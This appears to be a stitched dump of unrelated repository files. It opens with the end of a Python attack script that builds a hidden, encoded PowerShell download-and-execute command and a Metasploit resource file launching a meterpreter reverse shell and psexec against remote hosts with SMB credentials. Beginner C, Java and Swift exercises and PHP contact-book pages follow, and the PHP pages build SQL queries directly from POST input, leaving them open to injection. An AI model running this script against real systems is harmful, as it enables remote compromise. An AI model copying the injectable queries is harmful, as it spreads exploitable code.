if opts.getscript: # -g option was supplied... download Invoke-Shellcode from <NAME>'s repository and save it to wherever -k points
try:
subprocess.check_call("wget -O %s https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1"%opts.savescript,shell=True)
a = open(opts.savescript,"a")
a.write("\nInvoke-Shellcode -Payload windows/meterpreter/reverse_https -LHost %s -LPort %s -Force\n"%(lhost,lport))
a.close()
print "[*] Script saved and modified at '%s'"%opts.savescript
except Exception,e:
print "[!] Error: %s"%str(e)
exit(-1)
iex = base64.b64encode(('iex (New-Object Net.WebClient).DownloadString("%s")'%(scriptloc)).encode("utf-16-le"))
command = 'cmd.exe /c PowerShell.exe -Exec Bypass -Windowstyle hidden -Nologo -Noprofile -Noninteractive -enc %s'%iex.replace("\n","")
rcfilefd = open(rcfile,"w")
rcfilefd.write("use exploit/multi/handler\n")
rcfilefd.write("set payload windows/meterpreter/reverse_https\n")
rcfilefd.write("set lhost %s\n"%lhost)
rcfilefd.write("set lport %s\n"%lport)
rcfilefd.write("set ExitOnSession false\n")
rcfilefd.write("exploit -j\n")
rcfilefd.write("use auxiliary/admin/smb/psexec_command\n")
rcfilefd.write("set command %s\n"%command)
rcfilefd.write("set rhosts %s\n"%rhosts)
rcfilefd.write("set smbuser %s\n"%smbuser)
rcfilefd.write("set smbpass %s\n"%smbpass)
rcfilefd.write("set smbdomain %s\n"%smbdomain)
rcfilefd.write("exploit\n")
rcfilefd.close()
if not opts.execute:
print "[*] RC File created at '%s'"%rcfile
print "[*] Load into new msfconsole instance with 'msfconsole -r %s', or into existing instance with 'resource %s'"%(rcfile,rcfile)
else:
print "[*] Executing MSFConsole with rc file: '%s', please wait..."%rcfile
subprocess.call("msfconsole -r %s"%rcfile,shell=True)
if __name__ == "__main__":
main()
| 14933f26697accdc730df97df54033a27c1d2fd5 | [
"Python"
] | 1 | Python | et0x/la-z-pwn | e48842622ed8f409aa784385c5341ebf75abcaa2 | 141e962b8d7ef3754efa4d6cdd0bafcb68860edf |
refs/heads/master | <file_sep>//
// ViewController.swift
// temperature sensor
//
// Created by <NAME> on 2018-06-22.
// Copyright © 2018 <NAME>. All rights reserved.
//
import UIKit
import Alamofire
import SwiftyJSON
class ViewController: UIViewController{
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
temperatureReceived(temperature: "23.5", date: "Feb 16")
}
let baseURL = "http://192.168.1.169/temperaturejson.php"
@IBOutlet weak var currentTempLabel: UILabel!
@IBOutlet weak var lastUpdateLabel: UILabel!
func temperatureReceived(temperature: String, date: String)
{
currentTempLabel.text = "\(temperature) °C"
lastUpdateLabel.text = "\(date)"
}
func getTemperatureData(url: String) {
Alamofire.request(url, method: .get)
.responseJSON { response in
if response.result.isSuccess {
print("Sucess! Got the Temperature data")
let temperatureJSON : JSON = JSON(response.result.value!)
self.updateTemperatureData(json: temperatureJSON)
print(temperatureJSON.count)
} else {
print("Error: \(String(describing: response.result.error))")
self.currentTempLabel.text = "Connection Issues"
}
}
}
func updateTemperatureData(json : JSON) {
var temperatureArrayLength = json.count - 1
if let tempResult = json[temperatureArrayLength]["Temp"].string {
currentTempLabel.text = String(tempResult) + "°C"
lastUpdateLabel.text = json[temperatureArrayLength]["Date"].string
}else{
currentTempLabel.text = "Temperautre Unavailable"
lastUpdateLabel.text = json[temperatureArrayLength]["Date"].string
}
}
@IBAction func refreshTemp(_ sender: Any) {
getTemperatureData(url: baseURL)
}
}
| 3e74ae9b1808ab603f8382ebf622e99b2dcd26ca | [
"Swift"
] | 1 | Swift | dataports/TempSensor-Reading | 16de34f95890a87fd78b2aa36125d3c2f1ae59ec | f36b84f59482489ed4506d13063b8ef33698893e |
refs/heads/master | <repo_name>wangpanclimber/tutorial<file_sep>/C语言程序/习题15.6 本息.cpp
#include<stdio.h>;
#include<math.h>;
int main()
{
float pa,pb,pc,pd,pf,m;
printf("money: ");
scanf("%f",&m);
pa=m*(1+5*0.0585);
pb=(m*(1+0.0468)^2)*((1+0.054)^3);
pc=000;
pd=m*((1+0.0414)^5);
pf=m*((1+0.0072/4)^20);
printf("pa=%f\npb=%f\npc=%f\npd=%f\npf=%f",pa,pb,pc,pd,pf);
}
<file_sep>/C语言程序/大机.java.java
public class Course
{
public static void main (String[]args)
{
int[]one={1,2,3};
int[]two={2,3};
int[]three={2,3,4};
int[]four={1,2,4};
for(int num1=0;num1<one.length;num1++)
for(int num2=0;num2<two.length;num2++)
for(int num3=0;num3<three.length;num3++)
for(int num4=0;num4<four.length;num4++)
{
if(one[num1]+two[num2]+three[num3]+four[num4]==10)
if(one[num1]!=two[num2]&&one[num1]!=three[num3])
if(two[num2]!=three[num3])
{ System.out.print("小强");
switch(one[num1]){
case 1:System.out.println('A');break;
case 2:System.out.println('B');break;
case 3:System.out.println('C');break;
case 4:System.out.println('D');break;
}
System.out.print("小明");
switch(two[num2]){
case 1:System.out.println('A');break;
case 2:System.out.println('B');break;
case 3:System.out.println('C');break;
case 4:System.out.println('D');break;
}
System.out.print("小芳");
System.out.println('E');
System.out.print("小红");
switch(three[num3]){
case 1:System.out.println('A');break;
case 2:System.out.println('B');break;
case 3:System.out.println('C');break;
case 4:System.out.println('D');break;
}
System.out.print("小刚");
switch(four[num4]){
case 1:System.out.println('A');break;
case 2:System.out.println('B');break;
case 3:System.out.println('C');break;
case 4:System.out.println('D');break;
}
System.out.println();
}
}
}
}
<file_sep>/通讯录开发/通讯录开发/通讯录登陆1.0/conn.php
<?php
/*********************
数据库连接
*********************/
$conn = @mysql_connect('localhost','root','');
if(!$conn){
die ("数据连接失败:" . mysql_error());
}
?><file_sep>/通讯录开发/txl4.0/update/update.php
<?php
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("txl_db", $con);
mysql_query("UPDATE Persons SET Name = '$_POST[name]'
WHERE id = '$_POST[id]'");
mysql_query("UPDATE Persons SET Gender = '$_POST[gender]'
WHERE id = '$_POST[id]'");
mysql_query("UPDATE Persons SET Age = '$_POST[age]'
WHERE id = '$_POST[id]'");
mysql_query("UPDATE Persons SET Tel = '$_POST[tel]'
WHERE id = '$_POST[id]'");
mysql_query("UPDATE Persons SET Email = '$_POST[email]'
WHERE id = '$_POST[id]'");
echo "<p>修改成功!</p>";
/*
if (mysql_query("UPDATE Persons SET Name = '$_POST[name]' WHERE id = '$_POST[id]'"))
{
die('Error: ' . mysql_error());
}
else
{
echo "<p>姓名修改成功!</p><br />";
}
if (mysql_query("UPDATE Persons SET Age = '$_POST[age]' WHERE id = '$_POST[id]'"))
{
die('Error: ' . mysql_error());
}
else
{
echo "<p>年龄修改成功!</p><br />";
}
if (mysql_query("UPDATE Persons SET Gender = '$_POST[gender]' WHERE id = '$_POST[id]'"))
{
die('Error: ' . mysql_error());
}
else
{
echo "<p>性别修改成功!</p><br />";
}
if (mysql_query("UPDATE Persons SET Tel = '$_POST[tel]' WHERE id = '$_POST[id]'"))
{
die('Error: ' . mysql_error());
}
else
{
echo "<p>电话修改成功!</p><br />";
}
if (mysql_query("UPDATE Persons SET Email = '$_POST[email]' WHERE id = '$_POST[id]'"))
{
die('Error: ' . mysql_error());
}
else
{
echo "<p>邮箱修改成功!</p><br />";
}
*/
mysql_close($con);
?><file_sep>/通讯录开发/通讯录开发/主界面-搜索-添加2.0/show.php
<?php
/**显示数据库的内容**/
@ $link = mysqli_connect("localhost","root","","tongxunlu");
if (mysqli_connect_errno()){
echo 'Error: Could not connect to database. please try again later';
exit;
}
$query = "select * from contacts_info";
$result = mysqli_query($link, $query);
?>
<!---创建一个表格--->
<table width = "100%" border = "1">
<tr>
<th bgcolor="#CCCCC" scope="col">contacts_name</th>
<th bgcolor="#CCCCC" scope="col">contacts_sex</th>
<th bgcolor="#CCCCC" scope="col">contacts_tel</th>
<th bgcolor="#CCCCC" scope="col">contacts_email</th>
</tr>
<?php
while($row=mysqli_fetch_row($result)) /***why?***/
{
?>
<tr>
<td><?php echo $row[0];?></td>
<td><?php echo $row[1];?></td>
<td><?php echo $row[2];?></td>
<td><?php echo $row[3];?></td>
</tr>
<?php
}
?>
</table>
<file_sep>/通讯录开发/通讯录开发/主界面-搜索-添加2.0/search_results.php
<html>
<head>
<title>tongxunlu search results</title>
</head>
<body>
<h1> search results</h1>
<?php
$searchterm=$_POST['searchterm'];
$searchterm= trim($searchterm);
if (!$searchterm){
echo 'you have not entered search details. please go back and try again.';
exit;
}
if (!get_magic_quotes_gpc()){
$searchterm = addslashes($searchterm);
}
@ $link = mysqli_connect("localhost","root","","tongxunlu");
if (mysqli_connect_errno()){
echo 'Error: Could not connect to database. please try again later';
exit;
}
$query = "select * from contacts_info where contacts_name = '$searchterm'";
$result = mysqli_query($link, $query);
if ($result){
echo " result:";
}
while($row = mysqli_fetch_array($result,MYSQL_NUM)){
printf("%s %s %s %s",$row[0],$row[1],$row[2],$row[3],$row[4]);
}
mysqli_free_result($result);
mysqli_close($link);
?>
</body>
</html>
<file_sep>/C语言程序/数据表(差).cpp
#include<stdio.h>
int main ()
{
int i,j,s;
for(i=1;i<=4;)
{
s=i;
printf("%5d",s);
for(j=2;j<=4;)
{
s=i*j;
printf("%5d",s);
j=j+1;
}
printf("\n");
i=i+1;
}
}
<file_sep>/通讯录开发/通讯录开发/主界面-搜索-添加2.0/insert_contacts.php
<html>
<head>
<title>insert contacts</title>
</head>
<body>
<h1>Insert Contacts</h1>
<?php
$contacts_name = $_POST['contacts_name'];
$contacts_sex = $_POST['contacts_sex'];
$contacts_tel = $_POST['contacts_tel'];
$contacts_email = $_POST['contacts_email'];
if (!$contacts_name || !$contacts_sex || !$contacts_tel || !$contacts_email){
echo 'you have not entered all the required details.<br/>'
.'please go back and try again.';
exit;
}
if (!get_magic_quotes_gpc()){
$contacts_name = addslashes($contacts_name);
$contacts_sex = addslashes($contacts_sex);
$contacts_tel = addslashes($contacts_tel);
$contacts_email = addslashes($contacts_email);
}
@ $link = mysqli_connect('localhost','root','','tongxunlu');
if (mysqli_connect_errno()){
echo 'Error:could not connect to database.please try again';
exit;
}
$query = "insert into contacts_info values
('$contacts_name','$contacts_sex','$contacts_tel','$contacts_email')";
$result = mysqli_query($link,$query);
if($result){
echo 'contacts inserted into database.';
}
mysqli_close($link);
?>
</body>
</html><file_sep>/C语言程序/编码长度.cpp
#include "asn1.h" /*没有这个库函数吗?*/
unsiganed long der_length(unsigned long payload)
{
unsigned long x;
if (payload > 127){
x = payload;
while (x){
x>>=8;
++payload;
}
}
return payload +2;
}
<file_sep>/通讯录开发/txl4.0/allpeople/allpeoplestyle.php
<!DOCTYPE HTML>
<html>
<head>
<link type="text/css" rel="stylesheet" href="allpeoplestyle.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>所有人</title>
</head>
<body>
<div id="allpeople">
<?php
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("txl_db", $con);
$query = "select * from Persons";
$result = mysql_query($query, $con);
?>
<table width = "100%" border = "1">
<tr>
<th bgcolor="#CCCCC" scope="col">ID</th>
<th bgcolor="#CCCCC" scope="col">姓名</th>
<th bgcolor="#CCCCC" scope="col">性别</th>
<th bgcolor="#CCCCC" scope="col">年龄</th>
<th bgcolor="#CCCCC" scope="col">电话</th>
<th bgcolor="#CCCCC" scope="col">邮箱</th>
</tr>
<?php
while($row=mysql_fetch_row($result))
{
?>
<tr>
<td><?php echo $row[0];?></td>
<td><?php echo $row[1];?></td>
<td><?php echo $row[2];?></td>
<td><?php echo $row[3];?></td>
<td><?php echo $row[4];?></td>
<td><?php echo $row[5];?></td>
</tr>
<?php
}
?>
</table>
</div>
</body>
</html>
<file_sep>/C语言程序/练手密码.cpp
#include<stdio.h>
int main()
{
int A,B,C,D,E,number;
char a,b,c,d,e;
scanf("mima:%c%c%c%c%c",&a,&b,&c,&d,&e);
A='a'+1;
B='b'+2;
C='c'+3;
D='d'+4;
E='e'+5;
number=sizeof(A);
printf("%d\n",number);
printf("bianhua:%c%c%c%c%c",A,B,C,D,E);
}
<file_sep>/C语言程序/ACAAL码.cpp
#include<stdio.h>
int main()
{
int a,b,c;
a='a';
b='A';
c=a-b;
printf("%d\n",c);
}
<file_sep>/通讯录开发/txl4.0/search/search.php
<!DOCTYPE HTML>
<html>
<head>
<link type="text/css" rel="stylesheet" href="searchstyle.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>搜索</title>
</head>
<body>
<div id="searchMode">
<div id="search">
<form name="search" action="search.php" method="post">
<fieldset>
<legend>搜索用户信息</legend>
<br>
性别:
<input type="radio" name="gender" value="male" checked/>男
<input type="radio" name="gender" value="female"/>女
<br>
姓名:
<input type="text" name="name" />
<br><br>
<input type="submit" value="搜索" />
</fieldset>
</form>
<br><br><br><hr>
<div id="search_result">
<?php
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("txl_db", $con);
$result = mysql_query("SELECT * FROM Persons
WHERE Name='$_POST[name]' and Gender='$_POST[gender]'");
?>
<table width = "100%" border = "1">
<tr>
<th bgcolor="#CCCCC" scope="col">ID</th>
<th bgcolor="#CCCCC" scope="col">姓名</th>
<th bgcolor="#CCCCC" scope="col">性别</th>
</tr>
<?php
while($row=mysql_fetch_row($result))
{
?>
<tr>
<td><?php echo $row[0];?></td>
<td><?php echo $row[1];?></td>
<td><?php echo $row[2];?></td>
</tr>
<?php
}
mysql_close($con);
?>
</table>
</div>
</div>
</div>
</body>
</html>
<file_sep>/C语言程序/习题15.6错误三个数大小?.cpp
#include<stdio.h>
int main()
{
int max(int x,int y);
int a,b,c,m;
printf("please enter three thing:");
scanf("%d,%d,%d",&a,&b,&c);
m=max(a,max(b,c));
printf("the most is: %d\n",m);
}
int max(int x,int y)
{
int z;
if(x>=y) z=x;
else z=y;
return(z);
}
<file_sep>/通讯录开发/txl4.0/create_db.php
<?php
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
if (mysql_query("CREATE DATABASE my_db",$con))
{
echo "Database created";
}
else
{
echo "Error creating database: " . mysql_error();
}
mysql_select_db("txl_db", $con);
$sql = "CREATE TABLE Persons
(
ID int NOT NULL AUTO_INCREMENT,
PRIMARY KEY(ID),
Name varchar(15),
Gender varchar(15),
Age int,
Tel varchar(15),
Email varchar(30)
)";
mysql_close($con);
?><file_sep>/通讯录开发/txl4.0/delete/delete.php
<!DOCTYPE HTML>
<html>
<head>
<link type="text/css" rel="stylesheet" href="allpeoplestyle.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<?php
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("txl_db", $con);
if (!mysql_query("DELETE FROM Persons WHERE ID='$_POST[id]'",$con))
{
die('Error: ' . mysql_error());
}
else
{
echo "<p>删除成功!</p>";
}
mysql_close($con);
?>
</body>
</html><file_sep>/C语言程序/大计王攀.cpp
#include <iostream>
using namespace std;
int table[5][5]={
{1,1,1,0,0},
{0,1,1,0,0},
{1,0,0,1,1},
{0,1,1,1,0},
{1,1,0,1,0}
};
//函数f用来比较产生的方案是否成立
int f(int a[5][5],int b[5][5]){
int temp[5]={0,0,0,0,0};//temp数组标记每一行是否存在选择
for(int i=0;i<5;i++){//
for(int j=0;j<5;j++){//
if(b[i][j]==1&&a[i][j]==1){//比较数组a,b对应元素值,若存在对应位置同时为1,与该行对应的temp数组元素置1
temp[i]=1;
break;
}
}
}
for(int i=0;i<5;i++){
if(temp[i]==0)//如果temp每个元素都为1,说明此方案成立
return 0;
}
return 1;
}
//此函数判断数组arr的某个位置是否能置1,即对应行的人选择对应列的课程,使得所有1既不同行也不同列
int judge(int row,int col,int arr[5][5]){
int row_tmp,col_tmp;
for(row_tmp=0;row_tmp<row;row_tmp++){
for(int j=0;j<5;j++){
if(arr[row_tmp][j]==1&&col==j)//检测是否与之前行有冲突
return 0;
}
//if(col==col_tmp)
// return 0;
}
return 1;
}
//此函数产生可能的结果,并与限制条件比较,成立则输出
void place_one(int row,int arr[5][5])
{
static int count=0;//统计方案个数
for(int col=0;col<5;col++)
{
if(judge(row,col,arr))//判断该位置能否置1,即对应行的人选择对应列的课程
{
arr[row][col]=1;//可以则置1
if(row<4)
place_one(row+1,arr);//递归逐步产生方案
else {
if(f(table,arr)){//该方案成立则输出
cout<<"第"<<++count<<"个:"<<endl;//方案成立count加1
for(int i=0;i<5;i++){
for(int j=0;j<5;j++){
cout<<arr[i][j]<<" ";
}
cout<<endl;
}
cout<<endl;
}
}
}
// for(int i=0;i<5;i++)
arr[row][col]=0;//若某方案不成立,说明该行的这列不能置1
}
}
int main()
{
int arr[5][5];
for(int i=0;i<5;i++){
for(int j=0;j<5;j++){
arr[i][j]=0;
}
}
place_one(0,arr);
return 0;
}
<file_sep>/C语言程序/将大写字母转化小写字母(ERROR).cpp
#include<stdio.h>
int main()
{
char a,b;
a=getchar();
b='e'-'E'+a;
printf("%c",b);
}
<file_sep>/C语言程序/习题82-1 利润 c里面的库函数.cpp
#include<stdio.h>;
#include<math.h>;
int main()
{
float p,r=9/100;
int n;
printf("year:");
scanf("%d",&n);
p=pow(1+r,n);
printf("p=%f",p);
}
<file_sep>/通讯录开发/txl4.0/add/add.php
<?php
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("txl_db", $con);
$sql = "INSERT INTO Persons (Name, Gender, Age, Tel, Email)
VALUES
('$_POST[name]','$_POST[gender]','$_POST[age]','$_POST[tel]','$_POST[email]')";
if (!mysql_query($sql,$con))
{
die('Error: ' . mysql_error());
}
else
{
echo "<p>添加成功!</p>";
}
mysql_close($con);
?><file_sep>/C语言程序/最大公约数错误.cpp
#include<stdio.h>
int main()
{int zuiyue(int x,int y);//定义最大公约数
int zuibei(int x,int y);//定义最小公倍数
int a,b,c,d;
scanf("%d,%d",&a,&b);//输入两个数
c=zuiyue(a,b);
d=zuibei(a,b);
printf("%d,%d",c,d);//输出两个数
}
//求最大公约数的函数
int zuiyue (int x,int y)
{
int i,n;
int min(int g,int h);
for(i=min(x,y);i>=1;)
{
if((x%i==0)&&(y%i==0))
{n=i;
break;
}
}
return(n);
}
//求最大值函数
int max(int g,int h)
{int z;
if(g>=h) z=g;
else z=h;
return(z);
}
//求最小公倍数
int zuibei(int x,int y)
{int i,n;
int max(int g,int h);
i=max(x,y);
for(i;i<=x*y;i++)
{
if(i%x==0&&i%y==0)
{n=i;
break;
}
}
return(n);
}
//求最小值函数
int min(int g,int h)
{int z;
if(g<=h) z=g;
else z=h;
return(z);
}
<file_sep>/通讯录开发/txl4.0/search/backup/search.php
<?php
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("txl_db", $con);
$result = mysql_query("SELECT * FROM Persons
WHERE Name='$_POST[name]' and Gender='$_POST[gender]'");
?>
<table width = "100%" border = "1">
<tr>
<th bgcolor="#CCCCC" scope="col">ID</th>
<th bgcolor="#CCCCC" scope="col">姓名</th>
<th bgcolor="#CCCCC" scope="col">性别</th>
</tr>
<?php
while($row=mysql_fetch_row($result))
{
?>
<tr>
<td><?php echo $row[0];?></td>
<td><?php echo $row[1];?></td>
<td><?php echo $row[2];?></td>
</tr>
<?php
}
mysql_close($con);
?>
</table>
| 312ae6989626b7b361ba80f123e46974dcbc339d | [
"Java",
"C++",
"PHP"
] | 22 | C++ | wangpanclimber/tutorial | 3a684635e135d1ad9e2e660cb6ddf1931f81e3ee | aa4dfcc00a9d9e625d6830edbc5bb8d674bb7e64 |
refs/heads/master | <file_sep>package com.fatosajvazi;
import java.util.*;
public class Main {
private static List<Album> albums = new ArrayList<>();
public static void main(String[] args) {
// write your code here
Album album = new Album("USA");
album.addSongToAlbum("Bizele",2.46);
album.addSongToAlbum("Menemadhe", 2.48);
album.addSongToAlbum("JBMTQR",3.01);
albums.add(album);
album = new Album("Kanuni Katilit");
album.addSongToAlbum("Robt e frikes",3.01);
album.addSongToAlbum("Kanuni Katilit", 5.2);
albums.add(album);
List<Song> playList = new LinkedList<>();
albums.get(0).addToPlayList("Bizele",playList);
albums.get(0).addToPlayList("Menemadhe",playList);
albums.get(1).addToPlayList("Kanuni Katilit",playList);
albums.get(1).addToPlayList("Robt e frikes",playList);
play(playList);
}
private static void play(List<Song> playList){
Scanner scanner = new Scanner(System.in);
boolean quit = false;
boolean forward = true;
ListIterator<Song> listIterator = playList.listIterator();
if (playList.size() == 0){
System.out.println("This playlist does not have any song");
return;
}else {
System.out.println("Now playing " + listIterator.next().toString());
printMenu();
}
while (!quit){
int action = scanner.nextInt();
scanner.nextLine();
switch (action){
case 0:
System.out.println("Exiting playlist");
quit = true;
break;
case 1:
if (!forward){
if (listIterator.hasNext()){
listIterator.next();
}
forward = true;
}
if (listIterator.hasNext()){
System.out.println("Now playing " + listIterator.next().toString());
}else {
System.out.println("we've reached the end of playlist");
forward = false;
}
break;
case 2:
if (forward){
if (listIterator.hasPrevious()){
listIterator.previous();
}
forward = false;
}
if (listIterator.hasPrevious()){
System.out.println("Now playing " + listIterator.previous());
}else {
System.out.println("We've reached the start of the playlist");
}
break;
case 3:
if (listIterator.hasPrevious()){
System.out.println("Now playing " + listIterator.previous());
listIterator.next();
}
break;
case 4:
printList(playList);
break;
case 5:
printMenu();
break;
case 6:
if (playList.size() > 0){
listIterator.remove();
if (listIterator.hasNext()){
System.out.println("Now playing " + listIterator.next());
}
else if(listIterator.hasPrevious()){
System.out.println("Now playing " + listIterator.previous());
}
}
break;
}
}
}
private static void printMenu(){
System.out.println("Available menu options\npress:");
System.out.println("0 - to quit\n"+
"1 - next song\n"+
"2 - previous song\n"+
"3 - replay song\n"+
"4 - print playlist\n" +
"5 - print Menu Options\n" +
"6 - delete current song");
}
private static void printList(List<Song> playList){
if (playList.isEmpty()){
System.out.println("Playlist empty");
}
else {
for (int i = 0; i<playList.size(); i++){
System.out.println( (i+1) + " - " + playList.get(i).toString());
}
}
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
int sum = 0;
int count = 0;
for (int i = 1; i<=1000; i++){
if(i%3==0 && i%5==0){
count++;
sum = sum + i;
if (count == 5){
break;
}
}
}
System.out.println(sum);
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
System.out.println(reverse(-2));
//numberToWords(152250301);
// System.out.println(getDigitCount(251));
}
public static int getDigitCount(int number) {
if (number < 0){
return -1;
}
return (number + "").length();
}
public static int reverse(int number) {
int absValue = Math.abs(number);
if (number == 0) {
return 0;
}
int reversedNumber = 0;
int power = getDigitCount(absValue);
while (absValue > 0){
reversedNumber = reversedNumber + (absValue % 10) * (int) Math.pow(10,power-1);
power--;
absValue = absValue / 10;
}
if (number < 0){
reversedNumber = reversedNumber * (-1);
}
return reversedNumber;
}
public static void numberToWords(int number) {
int reversedNumber = reverse(number);
int originalReversedNumber = reverse(number);
String numberToWords = "";
if (number < 0){
numberToWords = "Invalid Value";
}
if (number == 0){
numberToWords = "ZERO";
}
while (reversedNumber > 0){
int digit = reversedNumber % 10;
reversedNumber = reversedNumber / 10;
switch (digit){
case 0:
numberToWords += "Zero ";
break;
case 1:
numberToWords += "One ";
break;
case 2:
numberToWords += "Two ";
break;
case 3:
numberToWords += "Three ";
break;
case 4:
numberToWords += "Four ";
break;
case 5:
numberToWords += "Five ";
break;
case 6:
numberToWords += "Six ";
break;
case 7:
numberToWords += "Seven ";
break;
case 8:
numberToWords += "Eight ";
break;
case 9:
numberToWords += "Nine ";
break;
}
}
if (getDigitCount(number) > getDigitCount(originalReversedNumber)){
int diff = getDigitCount(number) - getDigitCount(originalReversedNumber);
for (int i=1; i<=diff;i++){
numberToWords +="Zero ";
}
}
System.out.println(numberToWords);
}
}
<file_sep>package com.fatosajvazi;
import java.util.ArrayList;
public class Customer {
private String customerName;
ArrayList<Double> transactions;
public Customer(String customerName) {
this.customerName = customerName;
this.transactions = new ArrayList<>();
}
public Customer(String customerName, double transactionAmount){
this.customerName = customerName;
this.transactions = new ArrayList<>();
this.addTransaction(transactionAmount);
}
public String getCustomerName() {
return customerName;
}
public void addTransaction(double amount){
this.transactions.add(Double.valueOf(amount));
}
}
<file_sep>public class EqualSumChecked {
public static void main(String[] args) {
System.out.println(hasEqualSum(1,1,1));
System.out.println(hasEqualSum(1,1,2));
System.out.println(hasEqualSum(1,-1,0));
}
public static boolean hasEqualSum(int firstNumber, int secondNumber, int thirdNumber){
boolean equalSum = false;
if(firstNumber + secondNumber == thirdNumber)
{
equalSum = true;
}
return equalSum;
}
}
<file_sep>package com.fatosajvazi;
import java.util.concurrent.Callable;
public class Main {
public static void main(String[] args) {
// write your code here
Car porsche = new Car();
Car holden = new Car();//australian car
porsche.setModel("911");
System.out.println(porsche.getModel());
}
}
<file_sep>package com.fatosajvazi;
import java.lang.reflect.Array;
import java.util.Arrays;
public class Main {
public static void main(String[] args) {
// write your code here
int[] array = new int[]{1,2,3,4,5,6};
reverseArray(array);
}
public static void reverseArray(int[] array){
int temp = 0;
int counter = 1;
for (int i=0; i<array.length/2; i++){
temp = array[array.length-counter];
array[array.length-counter] = array[i];
array[i] = temp;
counter++;
}
System.out.println(Arrays.toString(array));
}
}
<file_sep>public class DecimalComperator {
public static void main(String[] args) {
System.out.println(areEqualByThreeDecimalPlaces(-3.1756,-3.175));
}
public static boolean areEqualByThreeDecimalPlaces(double firstNumber, double secondNumber){
boolean areEqual = false;
firstNumber = (double)((int) (firstNumber * 1000)) / 1000;
secondNumber = (double)((int) (secondNumber * 1000)) / 1000;
if (firstNumber == secondNumber){
areEqual = true;
}
return areEqual;
}
}
<file_sep>public class BarkingDog {
public static void main(String[] args) {
System.out.println(shouldWakeUp(true,1));
System.out.println(shouldWakeUp(false,2));
System.out.println(shouldWakeUp(true,0));
System.out.println(shouldWakeUp(true,-1));
}
public static boolean shouldWakeUp(boolean barking, int hourOfDay){
boolean shouldWakeUp = false;
if (hourOfDay > 23 || hourOfDay < 0){
shouldWakeUp = false;
}
else if(barking && (hourOfDay < 8 || hourOfDay > 22)){
shouldWakeUp = true;
}
return shouldWakeUp;
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
System.out.println(getBucketCount(-3.4,2.1,1.5,2));
System.out.println(getBucketCount(3.4,2.1,1.5,2));
System.out.println(getBucketCount(2.75,3.25,2.5,1));
System.out.println(getBucketCount(-3.4,2.1,1.5));
System.out.println(getBucketCount(3.4,2.1,1.5));
System.out.println(getBucketCount(7.25,4.3,2.35));
System.out.println(getBucketCount(3.4,1.5));
System.out.println(getBucketCount(6.26,2.2));
System.out.println(getBucketCount(3.26,0.75));
}
public static int getBucketCount(double width, double height,double areaPerBucket,int extraBuckets){
if (width <= 0 || height <= 0 || areaPerBucket <= 0 || extraBuckets < 0){
return -1;
}
double area = width * height;
int totalBuckets = (int) Math.ceil(area/areaPerBucket);
return totalBuckets - extraBuckets;
}
public static int getBucketCount(double width, double height,double areaPerBucket){
if (width <= 0 || height <= 0 || areaPerBucket <= 0){
return -1;
}
double area = width * height;
return (int) Math.ceil(area/areaPerBucket);
}
public static int getBucketCount(double area,double areaPerBucket){
if (area <= 0 || areaPerBucket <= 0){
return -1;
}
return (int) Math.ceil(area/areaPerBucket);
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
System.out.println(hasSameLastDigit(12,5,22));
}
public static boolean isValid(int number) {
if (number < 10 || number > 1000){
return false;
}
return true;
}
public static boolean hasSameLastDigit(int firstNumber, int secondNumber, int thirdNumber) {
if (!isValid(firstNumber) || !isValid(secondNumber) || !isValid(thirdNumber)){
return false;
}
int lastDigitOfFirstNumber = firstNumber % 10;
int lastDigitOfSecondNumber = secondNumber % 10;
int lastDigitOfThirdNumber = thirdNumber % 10;
if (lastDigitOfFirstNumber == lastDigitOfSecondNumber || lastDigitOfFirstNumber == lastDigitOfThirdNumber || lastDigitOfSecondNumber == lastDigitOfThirdNumber){
return true;
}
return false;
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
printSquareStar(10);
}
public static void printSquareStar(int number) {
if (number < 5) {
System.out.println("Invalid Value");
return;
}
int rowCount = 1;
int colCount = 1;
while (rowCount <= number) {
while (colCount <= number) {
if (rowCount == 1 || rowCount == number || colCount == 1 || colCount == number || rowCount == colCount || colCount == number - rowCount + 1) {
System.out.print("*");
} else {
System.out.print(" ");
}
colCount++;
}
rowCount++;
System.out.println();
colCount = 1;
}
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
Printer printer = new Printer(false);
printer.fillUpTheToner(50);
System.out.println("Printer is duplex: " + printer.isDuplex());
printer.print(151);
System.out.println("Pages printed: " + printer.getNumberOfPagesPrinted());
System.out.println(printer.getTonerLevel());
printer.print(250);
System.out.println("Pages printed: " + printer.getNumberOfPagesPrinted());
System.out.println(printer.getTonerLevel());
printer.fillUpTheToner(25);
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
System.out.println(isPalindrome(-1221));
}
public static boolean isPalindrome(int number) {
boolean isPalindrome = false;
int initialNumber = Math.abs(number);
String palindrome = "";
while (Math.abs(number) > 0){
palindrome = palindrome + Math.abs(number) % 10;
System.out.println("Palindrome " + palindrome);
number = Math.abs(number) / 10;
System.out.println("Number " + number);
}
if (initialNumber == Integer.parseInt(palindrome)){
isPalindrome = true;
}
return isPalindrome;
}
}
<file_sep>package com.fatosajvazi;
import java.util.ArrayList;
